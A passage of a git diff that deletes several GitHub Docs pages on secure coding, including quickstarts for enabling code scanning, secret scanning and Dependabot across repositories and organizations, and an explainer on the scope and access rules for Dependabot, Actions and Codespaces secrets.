variables.product.prodname_GH_advanced_security %} features ({% data variables.product.prodname_code_scanning %}, {% data variables.product.prodname_secret_scanning %}, and {% data variables.product.prodname_dependabot_alerts %}). For more information, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-githubcom#asking-questions-about-alerts-from-github-advanced-security-features). - -{% endif %} - -{% data reusables.advanced-security.ghas-trial %} - -### {% data variables.product.prodname_code_scanning_caps %} - -Automatically detect security vulnerabilities and coding errors in new or modified code. Potential problems are highlighted, with detailed information, allowing you to fix the code before it's merged into your default branch. For more information, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning). - -### {% data variables.secret-scanning.user_alerts_caps %} - -Automatically detect tokens or credentials that have been checked into a repository. You can view alerts for any secrets that {% data variables.product.company_short %} finds in your code, in the **Security** tab of the repository, so that you know which tokens or credentials to treat as compromised. {% data reusables.secret-scanning.alert-type-links %} - -### {% data variables.dependabot.custom_rules_caps %} - -{% data reusables.dependabot.dependabot-custom-rules-ghas %} - -### Dependency review - -Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). - -{% ifversion security-overview-displayed-alerts %}<!--Section appears in non-GHAS features above--> - -{% elsif fpt %}<!--Feature requires enterprise product--> - -{% else %} - -### Security overview for organizations{% ifversion ghes %}, enterprises,{% endif %} and teams - -Review the security configuration and alerts for your organization and identify the repositories at greatest risk. For more information, see [AUTOTITLE](/code-security/security-overview/about-security-overview). -{% endif %} - -## Further reading - -* [AUTOTITLE](/get-started/learning-about-github/githubs-plans) -* [AUTOTITLE](/get-started/learning-about-github/github-language-support) diff --git a/content/code-security/getting-started/index.md b/content/code-security/getting-started/index.md deleted file mode 100644 index d7d750b463fa..000000000000 --- a/content/code-security/getting-started/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Getting started with secure coding -shortTitle: Getting started -allowTitleToDifferFromFilename: true -intro: 'Introduction to secure coding with {% data variables.product.github %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories - - Dependencies - - Vulnerabilities -children: - - /github-security-features - - /dependabot-quickstart-guide - - /quickstart-for-securing-your-repository - - /quickstart-for-securing-your-organization - - /adding-a-security-policy-to-your-repository - - /auditing-security-alerts - - /best-practices-for-preventing-data-leaks-in-your-organization - - /understanding-github-secret-types ---- diff --git a/content/code-security/getting-started/quickstart-for-securing-your-organization.md b/content/code-security/getting-started/quickstart-for-securing-your-organization.md deleted file mode 100644 index c036a7599a00..000000000000 --- a/content/code-security/getting-started/quickstart-for-securing-your-organization.md +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: Quickstart for securing your organization -intro: "You can use a number of {% data variables.product.prodname_dotcom %} features to help keep your organization secure." -permissions: '{% data reusables.permissions.security-org-enable %}' -redirect_from: - - /code-security/getting-started/securing-your-organization -versions: - feature: pre-security-configurations -type: how_to -topics: - - Organizations - - Dependencies - - Vulnerabilities - - Code Security - - Secret Protection -shortTitle: Secure organization quickstart ---- - -## Introduction - -As an organization owner or security manager, you can use {% data variables.product.company_short %}'s security features to keep your organization's code, dependencies, and secrets secure. For more information, see [AUTOTITLE](/code-security/getting-started/github-security-features). - -Your organization's security needs are unique. You may want to enable a feature if your organization has been impacted by a vulnerability that a certain feature would have prevented, or if the feature will help your organization meet a compliance requirement. - -You can enable security features across multiple repositories in an organization at the same time. For each feature you want to enable, you must decide how to roll out the feature across your organization's repositories. Different features have different effects on your organization and its contributors, so it's important to assess the impact each feature will have. For example: - -* Some features can generate notifications to inform your organization's members about specific vulnerabilities: to ensure these notifications are targeted and relevant, you may want to ask members to check their notification settings before you enable a feature. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications). -* Some features can consume resources for each repository in which they're enabled. For example, enabling {% data variables.product.prodname_code_scanning %} in a private repository may consume a {% data variables.product.prodname_GHAS %} license, and running {% data variables.product.prodname_code_scanning %} analysis in a repository will incur usage of {% data variables.product.prodname_actions %} or another CI system. - -As an organization owner, you can give certain users permission to enable or disable security features by assigning the "security manager" role to a team. Security managers can configure security settings and monitor usage of security features across your organization. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization). - -## About prerequisites of features - -Some security features have prerequisites. For example, {% data variables.product.prodname_dependabot_alerts %} use information from the dependency graph, so enabling {% data variables.product.prodname_dependabot_alerts %} automatically enables the dependency graph. - -Some features are only available to enterprises that use {% data variables.product.prodname_GHAS %} and have enabled {% data variables.product.prodname_AS %} as a feature for repositories. For more information, see [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security#about-advanced-security-features). - ->[!NOTE] -> Enterprises can set a policy to manage which organizations can enable {% data variables.product.prodname_GHAS %}. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise). - -There are some features you must configure for each repository individually. For example, to enable {% data variables.product.prodname_dependabot_version_updates %} in a repository, you must add a `dependabot.yml` file specifying where to find information about the project's dependencies. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates). - -## Enabling security features in your organization - -When you have decided to enable a security feature, the next step is to decide how to roll out that feature across your organization. - -* If you want to roll out a feature as quickly as possible, you can enable it for all eligible repositories at once. For more information, see [Enabling a feature for all repositories](#enabling-a-feature-for-all-repositories). -* If you want control over how quickly you roll out a feature, and which features are enabled in which repositories, you can enable a feature for a selection of repositories. For more information, see [Enabling a feature for a selection of repositories](#enabling-a-feature-for-a-selection-of-repositories). - -When you have decided how to enable a feature for your organization's existing repositories, you must also decide how to handle any new repositories that are created in your organization in the future. For more information, see [Enabling a feature for new repositories](#enabling-a-feature-for-new-repositories). - -For more information about creating a strategy for rolling out security features across a large organization or enterprise, see [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale). - -### Enabling a feature for all repositories - -The quickest way to roll out a security feature is to enable it for all repositories in your organization at once. If you've identified a critical need for a feature, enabling it for all repositories offers you protection across your entire organization, without requiring you to pause to devise a rollout plan. - -Before you enable a feature for all repositories, you should consider the impact this action will have. If you're not sure about the effects a feature will have, it is safest to start by enabling the feature for a limited selection of repositories. Enabling a feature for all repositories at once is likely to be a suitable option in the following situations. - -* You have an overview of all the repositories in your organization, and you're confident that they'll all benefit from a certain feature. -* If a feature requires resources such as {% data variables.product.prodname_GHAS %} licenses or {% data variables.product.prodname_actions %} minutes, you have assessed the resources that will be required and are happy to proceed. -* If the feature generates notifications or pull requests, you're confident that these will be targeted and relevant for the members who receive them or have to review them. - -When you're ready to proceed, follow these steps to enable a feature for all repositories. - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} - -1. In the left sidebar, click **{% octicon "codescan" aria-hidden="true" %} Code security and analysis**. -1. Locate the feature that you want to enable and use any associated check boxes to fine-tune the options. -1. When you are ready to enable the feature for all repositories in your organization where the feature is supported, next to the name of the feature, click **Enable all**. - -When you click **Enable all**, you'll be prompted to confirm your choice. You'll also be told if the feature depends on another feature, or requires {% data variables.product.prodname_GHAS %}. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-existing-repositories). - -### Enabling a feature for a selection of repositories - -In some cases, it is better to identify a selection of repositories that require a feature, then enable the feature just for those repositories. - -If you're not sure about the impact a feature will have, you may want to test the feature on a limited selection of repositories before you commit to enabling the feature for all repositories, or you may want to roll out the feature gradually over several phases. You may also be aware that some repositories in your organization require a different set of features than others. - -{% ifversion code-security-multi-repo-enablement %}You can use the "Security coverage" view to identify repositories that require a certain feature, then enable the feature for those repositories. The following steps describe how to find the "Security coverage" view. - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} - -1. In the sidebar, click **{% octicon "meter" aria-hidden="true" %} Coverage**. - -On this view, you can use checkboxes to select specific repositories, or you can use the search bar to find the repositories where you want to enable a feature. For example, you can use filters to identify repositories where a certain team has write or admin access, or exclude repositories that don't require the same level of protection, such as test repositories or repositories for internal documentation. Then you can enable features for all selected repositories at once. For more information, see [AUTOTITLE](/code-security/security-overview/enabling-security-features-for-multiple-repositories). - -{% else %}When you have identified the repositories that require a feature, you can enable the feature for each repository individually. As an organization owner or security manager, you can configure the security settings for each repository in your organization. For more information, see [AUTOTITLE](/code-security/getting-started/quickstart-for-securing-your-repository). - -{% endif %} - -If you have a limited number of licenses for {% data variables.product.prodname_GHAS %}, you may want to prioritize repositories that contain critical projects, or that have the highest commit frequencies. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). - -{% data reusables.security-overview.settings-limitations %} - -### Enabling a feature for new repositories - -You can choose to enable a security feature automatically in all new repositories that are created in your organization. Enabling features in new repositories ensures they are protected immediately, and ensures any vulnerabilities in the repositories are identified as early as possible. However, to use security features as efficiently as possible, you may prefer to review each new repository individually. - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} - -1. In the left sidebar, click **{% octicon "codescan" aria-hidden="true" %} Code security and analysis**. -1. Below the name of the feature, select the option for automatically enabling the feature in applicable future repositories. - - ![Screenshot of "Code security and analysis" page. Below "Dependabot alerts", the checkbox to enable alerts in new repositories is outlined in orange.](/assets/images/help/security/enable-for-new-repos.png) - -## Monitoring the impact of security features - -When you have enabled a feature, you should communicate with repository administrators and contributors in your organization to assess the impact of the feature. You may need to adjust the configuration of some features at the repository level, or reassess the distribution of security features across your organization. You should also monitor the security alerts that a feature generates, and your members' responses to these alerts. - -You can use security overview to see which teams and repositories are affected by security alerts, with a breakdown of alerts by severity. For more information, see [AUTOTITLE](/code-security/security-overview/assessing-code-security-risk). - -{% ifversion security-overview-dashboard %} -Security overview also has a dashboard where you can explore high-level trends and metrics to gain insight into your organization's security landscape. For more information, see [AUTOTITLE](/code-security/security-overview/viewing-security-insights). -{% endif %} - -You can use various tools to monitor the actions that your organization's members are taking in response to security alerts. For more information, see [AUTOTITLE](/code-security/getting-started/auditing-security-alerts). - -## Next steps - -To help users report security vulnerabilities, you can create a default security policy that will display in any of your organization's public repositories that do not have their own security policy. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file). - -Once your organization's security setup is in place, you may want to prevent users from changing the security settings in a repository. An enterprise owner can prevent repository administrators from enabling or disabling features in a repository. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise). - -{% data reusables.security-overview.security-information-about-actions %} diff --git a/content/code-security/getting-started/quickstart-for-securing-your-repository.md b/content/code-security/getting-started/quickstart-for-securing-your-repository.md deleted file mode 100644 index e6ada1c89cfd..000000000000 --- a/content/code-security/getting-started/quickstart-for-securing-your-repository.md +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: Quickstart for securing your repository -intro: 'Manage access to your code. Find and fix vulnerable code and dependencies automatically.' -permissions: '{% data reusables.permissions.security-repo-enable %}' -redirect_from: - - /github/administering-a-repository/about-securing-your-repository - - /github/code-security/getting-started/about-securing-your-repository - - /code-security/getting-started/securing-your-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Repositories - - Dependencies - - Vulnerabilities - - Code Security - - Secret Protection -shortTitle: Secure repository quickstart ---- - -## Introduction - -This guide shows you how to configure security features for a repository. You must be a repository administrator or organization owner to configure security settings for a repository. - -Your security needs are unique to your repository, so you may not need to enable every feature for your repository. For more information, see [AUTOTITLE](/code-security/getting-started/github-security-features). - -{% data reusables.advanced-security.security-feature-availability %} - -## Managing access to your repository - -The first step to securing a repository is to establish who can see and modify your code. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features). - -From the main page of your repository, click **{% octicon "gear" aria-hidden="true" %} Settings**, then scroll down to the "Danger Zone." - -* To change who can view your repository, click **Change visibility**. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility). -* To change who can access your repository and adjust permissions, click **Manage access**. For more information, see[AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository). - -## Managing the dependency graph - -{% ifversion fpt or ghec %} -{% data reusables.dependency-graph.feature-availability %} The dependency graph interprets manifest and lock files in a repository to identify dependencies. - -1. From the main page of your repository, click **{% octicon "gear" aria-hidden="true" %} Settings**. -1. Click **{% data variables.product.UI_advanced_security %}**. -1. Next to Dependency graph, click **Enable** or **Disable**. -{% endif %} - -{% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %} - -For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph). - -## Managing {% data variables.product.prodname_dependabot_alerts %} - -{% data variables.product.prodname_dependabot_alerts %} are generated when {% data variables.product.prodname_dotcom %} identifies a dependency in the dependency graph with a vulnerability. {% ifversion fpt or ghec %}You can enable {% data variables.product.prodname_dependabot_alerts %} for any repository.{% endif %} - -{% data reusables.dependabot.dependabot-alert-rules %} - -{% data reusables.dependabot.quickstart-link %} - -{% ifversion fpt or ghec %} -1. Click your profile photo, then click **Settings**. -1. Click **{% data variables.product.UI_advanced_security %}**. -1. Click **Enable all** next to {% data variables.product.prodname_dependabot_alerts %}. -{% endif %} - -{% ifversion dependabot-alerts-ghes-enablement %} -{% data reusables.dependabot.dependabot-alerts-enterprise-server-repo-org-enablement %} -{% else %} -{% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %} -{% endif %} - -For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts){% ifversion fpt or ghec %} and [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account){% endif %}. - -## Managing dependency review - -Dependency review lets you visualize dependency changes in pull requests before they are merged into your repositories. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). - -Dependency review is a {% data variables.product.prodname_GH_code_security %} feature. {% ifversion fpt or ghec %}Dependency review is already enabled for all public repositories. {% ifversion fpt %}Organizations that use {% ifversion ghas-products-cloud %}{% data variables.product.prodname_team %} or {% endif %}{% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_GH_code_security %} can additionally enable dependency review for private and internal repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/quickstart-for-securing-your-repository#managing-dependency-review). {% endif %}{% endif %}{% ifversion ghec or ghes %}To enable dependency review for a {% ifversion ghec %}private or internal {% endif %}repository, ensure that the dependency graph is enabled and enable {% data variables.product.prodname_GH_code_security %}. - -1. From the main page of your repository, click **{% octicon "gear" aria-hidden="true" %} Settings**. -1. Click **{% data variables.product.UI_advanced_security %}**. -1. {% ifversion ghec %}If dependency graph is not already enabled, click **Enable**.{% elsif ghes %}Check that dependency graph is configured for your enterprise.{% endif %} -1. If {% data variables.product.prodname_GH_advanced_security %} is not already enabled, click **Enable**. - -{% endif %} - -## Managing {% data variables.product.prodname_dependabot_security_updates %} - -For any repository that uses {% data variables.product.prodname_dependabot_alerts %}, you can enable {% data variables.product.prodname_dependabot_security_updates %} to raise pull requests with security updates when vulnerabilities are detected. - -1. From the main page of your repository, click **{% octicon "gear" aria-hidden="true" %} Settings**. -1. Click **{% data variables.product.UI_advanced_security %}**. -1. Next to {% data variables.product.prodname_dependabot_security_updates %}, click **Enable**. - -For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates) and [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates). - -## Managing {% data variables.product.prodname_dependabot_version_updates %} - -You can enable {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates). - -{% ifversion dependabot-settings-update-37 %} -1. From the main page of your repository, click **{% octicon "gear" aria-hidden="true" %} Settings**. -1. Click **{% data variables.product.UI_advanced_security %}**. -1. Next to {% data variables.product.prodname_dependabot_version_updates %}, click **Enable** to create a basic `dependabot.yml` configuration file. -1. Specify the dependencies to update and any associated configuration options, then commit the file to the repository. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#enabling-dependabot-version-updates). - -{% else %} -To enable {% data variables.product.prodname_dependabot_version_updates %}, you must create a `dependabot.yml` configuration file. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates). -{% endif %} - -## Configuring {% data variables.product.prodname_code_scanning %} - -> [!NOTE] -> {% data variables.product.prodname_code_scanning_caps %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations that are part of {% ifversion ghas-products-cloud %}a team or {% endif %}an enterprise with a license for {% else %}for organization-owned repositories if your enterprise uses {% endif %}{% data variables.product.prodname_GH_code_security %}. - -You can configure {% data variables.product.prodname_code_scanning %} to automatically identify vulnerabilities and errors in the code stored in your repository by using a {% data variables.code-scanning.codeql_workflow %} or third-party tool. Depending on the programming languages in your repository, you can configure {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %} using default setup, in which {% data variables.product.prodname_dotcom %} automatically determines the languages to scan, query suites to run, and events that will trigger a new scan. For more information, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning). - -1. From the main page of your repository, click **{% octicon "gear" aria-hidden="true" %} Settings**. -1. In the "Security" section of the sidebar, click **{% octicon "shield-lock" aria-hidden="true" %} {% data variables.product.UI_advanced_security %}**. -1. In the "{% data variables.product.prodname_code_scanning_caps %}" section, select **Set up** {% octicon "triangle-down" aria-hidden="true" %}, then click **Default**. -1. In the pop-up window that appears, review the default configuration settings for your repository, then click **Enable {% data variables.product.prodname_codeql %}**. - -Alternatively, you can use advanced setup, which generates a workflow file you can edit to customize your {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning#configuring-advanced-setup-for-code-scanning-with-codeql). - -## Configuring {% data variables.product.prodname_secret_scanning %} - -{% data reusables.gated-features.secret-scanning %} - -1. From the main page of your repository, click **{% octicon "gear" aria-hidden="true" %} Settings**. -1. Click **{% data variables.product.UI_advanced_security %}**. -{% ifversion ghec or ghes %} -1. If {% data variables.product.prodname_GH_advanced_security %} is not already enabled, click **Enable**.{% endif %} -1. Next to {% data variables.product.prodname_secret_scanning_caps %}, click **Enable**. - -## Setting a security policy - -If you are a repository maintainer, it's good practice to specify a security policy for your repository by creating a file named `SECURITY.md` in the repository. This file instructs users about how to best contact you and collaborate with you when they want to report security vulnerabilities in your repository. You can view the security policy of a repository from the repository’s **Security** tab. - -1. From the main page of your repository, click **{% octicon "shield" aria-hidden="true" %} Security**. -1. Click **Security policy**. -1. Click **Start setup**. -1. Add information about supported versions of your project and how to report vulnerabilities. - -For more information, see [AUTOTITLE](/code-security/getting-started/adding-a-security-policy-to-your-repository). - -## Next steps - -You can view and manage alerts from security features to address dependencies and vulnerabilities in your code. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts), [AUTOTITLE](/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates), [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository), and [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning). - -You can also use {% data variables.product.prodname_dotcom %}'s tools to audit responses to security alerts. For more information, see [AUTOTITLE](/code-security/getting-started/auditing-security-alerts). - -{% ifversion fpt or ghec %}If you have a security vulnerability in a public repository, you can create a security advisory to privately discuss and fix the vulnerability. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories) and [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory). -{% endif %} - -{% data reusables.security-overview.security-information-about-actions %} diff --git a/content/code-security/getting-started/understanding-github-secret-types.md b/content/code-security/getting-started/understanding-github-secret-types.md deleted file mode 100644 index c4877ffa27f8..000000000000 --- a/content/code-security/getting-started/understanding-github-secret-types.md +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: Understanding GitHub secret types -intro: 'Learn about the usage, scope, and access permissions for {% data variables.product.github %} secrets.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Repositories - - Dependencies - - Vulnerabilities - - Advanced Security -shortTitle: GitHub secret types ---- - -## About {% data variables.product.github %}'s secret types - -{% data variables.product.github %} secrets are used to securely store sensitive information like API keys, tokens, and passwords in repositories. - -When you store the sensitive information as a {% data variables.product.github %} secret, you remove the need to hardcode the credential or key, and prevent exposure of it in your code or logs. The secret can then be used to authenticate services, manage credentials, and securely pass sensitive data in workflows. - -There are {% ifversion fpt or ghec %}three {% else %}two {% endif %}types of secrets used by {% data variables.product.github %}: - -* [{% data variables.product.prodname_dependabot %} secrets](#dependabot-secrets) -* [Actions secrets](#actions-secrets){% ifversion fpt or ghec %} -* [{% data variables.product.prodname_codespaces %} secrets](#codespaces-secrets){% endif %} - -Depending on the {% data variables.product.github %} secret type, you can create and manage secrets under your repository, organization, or personal account security settings page. - -{% ifversion fpt or ghec %} - -### Understanding how {% data variables.product.github %} stores secrets - -{% data variables.product.github %} uses [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) to encrypt secrets. A secret is encrypted before reaching {% data variables.product.github %} and remains encrypted until it's used by the relevant service ({% data variables.product.prodname_dependabot %}, {% data variables.product.prodname_actions %}, or {% data variables.product.prodname_codespaces %}). - -{% endif %} - -## {% data variables.product.prodname_dependabot %} secrets - -{% data variables.product.prodname_dependabot %} secrets are used to store credentials and sensitive information for use within {% data variables.product.prodname_dependabot %}. - -{% data variables.product.prodname_dependabot %} secrets are referenced in a repository's `dependabot.yml` file. - -### Usage - -{% data variables.product.prodname_dependabot %} secrets are typically used by {% data variables.product.prodname_dependabot %} to authenticate to private package registries. This allows {% data variables.product.prodname_dependabot %} to open pull requests to update vulnerable or outdated dependencies in private repositories. Used for authentication, these {% data variables.product.prodname_dependabot %} secrets are referenced in a repository's `dependabot.yml` file. - -{% data variables.product.prodname_dependabot %} secrets can also include secrets required for workflows initiated by {% data variables.product.prodname_dependabot %}. For example, {% data variables.product.prodname_dependabot %} can trigger {% data variables.product.prodname_actions %} workflows when it creates pull requests to update dependencies, or comments on pull requests. In this case, {% data variables.product.prodname_dependabot %} secrets can be referenced from workflow files (`.github/workflows/*.yml`) as long as the workflow is triggered by a {% data variables.product.prodname_dependabot %} event. - -### Scope - -You can define {% data variables.product.prodname_dependabot %} secrets at: - -* Repository level -* Organization level - -{% data variables.product.prodname_dependabot %} secrets can be shared across repositories when set at the organization-level. You must specify which repositories in the organization can access the secret. - -### Access permissions - -{% data variables.product.prodname_dependabot %} secrets are accessed by {% data variables.product.prodname_dependabot %} when authenticating to private registries to update dependencies. - -{% data variables.product.prodname_dependabot %} secrets are accessed by {% data variables.product.prodname_actions %} workflows when the trigger event for the workflow is initiated by {% data variables.product.prodname_dependabot %}. This is because when a workflow is initiated by {% data variables.product.prodname_dependabot %}, only {% data variables.product.prodname_dependabot %} secrets are available - Actions secrets are not accessible. Therefore, any secrets required for these workflows must be stored as {% data variables.product.prodname_dependabot %} secrets, rather than Actions secrets. There are additional security restrictions for the `pull_request_target` event. See [Limitations and restrictions](#limitations-and-restrictions). - -#### User access permissions - -Repository-level secrets: -* Users with **admin access** to the repository can create and manage {% data variables.product.prodname_dependabot %} secrets. -* Users with **collaborator access** to the repository can use the secret for {% data variables.product.prodname_dependabot %}. - -Organization-level secrets: -* **Organization owners** can create and manage {% data variables.product.prodname_dependabot %} secrets. -* Users with **collaborator access** to the repositories with access to each secret can use the secret for {% data variables.product.prodname_dependabot %}. - -### Limitations and restrictions - -For workflows initiated by {% data variables.product.prodname_dependabot %}, the `pull_request_target` event is treated differently to other events. For this event, if the base ref of the pull request was created by {% data variables.product.prodname_dependabot %} (`github.event.pull_request.user.login == 'dependabot[bot]'`): - - * The workflow receives a read-only `GITHUB_TOKEN`. - * Secrets are **not** available to the workflow. - -This extra restriction helps prevent potential security risks that could arise from pull requests created by {% data variables.product.prodname_dependabot %}. - -{% data variables.product.prodname_dependabot %} secrets are not passed to forks. - -## Actions secrets - -Actions secrets are used to store sensitive information such as API keys, authentication tokens, and other credentials in workflows. - -### Usage - -Actions secrets are referenced in workflow files (`.github/workflows/*.yml`). - -### Scope - -You can define Actions secrets at: - -* Repository level -* Environment level -* Organization level - -Environment-level secrets are specific to a particular environment, such as production or staging. -Actions secrets can be shared across repositories if set at the organization-level. You can use access policies to control which repositories have access to the secret. - -### Access permissions - -Actions secrets are only available within {% data variables.product.prodname_actions %} workflows. Despite running on Actions, {% data variables.product.prodname_dependabot %} does not have access to Actions secrets. - -For workflows initiated by {% data variables.product.prodname_dependabot %}, Actions secrets are not available. These workflow secrets must be stored as {% data variables.product.prodname_dependabot %} secrets in order to be accessible to the workflow. - -The location where you store the Actions secret determines its accessibility: - -* Repository secret: all workflows in the repository can access the secret. -* Environment secret: secret is limited to jobs referencing that particular environment. -* Organization secret: all workflows in the repositories that have been granted access by the organization can access the organization secrets. - -#### User access permissions - -Repository-level and environment secrets: -* Users with **admin access** to the repository can create and manage Actions secrets. -* Users with **collaborator access** to the repository can use the secret. - -Organization-level secrets: -* **Organization owners** can create and manage Actions secrets. -* Users with **collaborator access** to the repositories with access to each secret can use the secret. - -### Limitations and restrictions - -* Actions secrets are not available to workflows initiated by {% data variables.product.prodname_dependabot %}. -* Actions secrets are not passed to workflows that are triggered by a pull request from a fork. -* {% data variables.product.prodname_actions %} automatically redacts the contents of all {% data variables.product.github %} secrets that are printed to workflow logs. -* You can store up to 1,000 organization secrets, 100 repository secrets, and 100 environment secrets. Secrets are limited to 48 KB in size. For more information, see [Limits for secrets](/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions#limits-for-secrets). - -{% ifversion fpt or ghec %} - -## {% data variables.product.prodname_codespaces %} secrets - -{% data variables.product.prodname_codespaces %} secrets store credentials and sensitive information, such as API tokens and SSH keys, for use within {% data variables.product.prodname_github_codespaces %}, allowing you to configure secure development environments. - -### Usage - -{% data variables.product.prodname_codespaces %} secrets are referenced within the {% data variables.product.prodname_codespaces %} development container configuration (`devcontainer.json`). - -### Scope - -You can define {% data variables.product.prodname_codespaces %} secrets at: - -* User account level -* Repository level -* Organization level - -For user account level secrets, you can choose which repositories have access to the secret. -{% data variables.product.prodname_codespaces %} secrets can be shared across repositories if set at the organization-level. You can use access policies to control which repositories have access to the secret. - -### Access permissions - -{% data variables.product.prodname_codespaces %} secrets are only accessible in {% data variables.product.prodname_codespaces %}. - -{% data variables.product.prodname_actions %} cannot access {% data variables.product.prodname_codespaces %} secrets. - -#### User access permissions - -User account-level secrets: -* {% data variables.product.prodname_codespaces %} secrets are available to any codespace you create using repositories with access to that secret. - -Repository-level secrets: -* Users with **admin access** to the repository can create and manage {% data variables.product.prodname_codespaces %} secrets. -* Users with **collaborator access** to the repository can use the secret. - -Organization-level secrets: -* **Organization owners** can create and manage {% data variables.product.prodname_codespaces %} secrets. -* Users with **collaborator access** to the repositories with access to each secret can use the secret. - -### Limitations and restrictions - -* You can store up to 100 secrets for {% data variables.product.prodname_github_codespaces %}. -* Secrets are limited to 48 KB in size. -* {% data variables.product.prodname_codespaces %} secrets are not passed to forks. - -{% endif %} - -## Further reading - -* [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#storing-credentials-for-dependabot-to-use) -* [AUTOTITLE](/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions){% ifversion fpt or ghec %} -* [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/managing-development-environment-secrets-for-your-repository-or-organization) -* [AUTOTITLE](/codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces){% endif %} diff --git a/content/code-security/index.md b/content/code-security/index.md deleted file mode 100644 index 8df92c6787e0..000000000000 --- a/content/code-security/index.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Secure coding documentation -shortTitle: Secure coding -intro: 'Build security into your {% data variables.product.github %} workflow to secure your software supply chain, automatically find and fix vulnerabilities in your codebase, and prevent data leaks.' -redirect_from: - - /code-security/guides -introLinks: - overview: /code-security/getting-started/github-security-features - try_ghas_for_free: '{% ifversion ghec %}/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/setting-up-a-trial-of-github-advanced-security{% endif %}' -featuredLinks: - startHere: # Links aimed at the builder audience - - /code-security/getting-started/quickstart-for-securing-your-repository - - /code-security/secret-scanning/working-with-secret-scanning-and-push-protection - - /code-security/getting-started/dependabot-quickstart-guide - - /code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning - guideCards: - - /code-security/trialing-github-advanced-security/planning-a-trial-of-ghas - - /code-security/secret-scanning/enabling-secret-scanning-features - - /code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning - - /code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates - - /code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates - popular: # Links aimed at the driver audience - - '{% ifversion ghes %}/admin/release-notes{% endif %}' - - 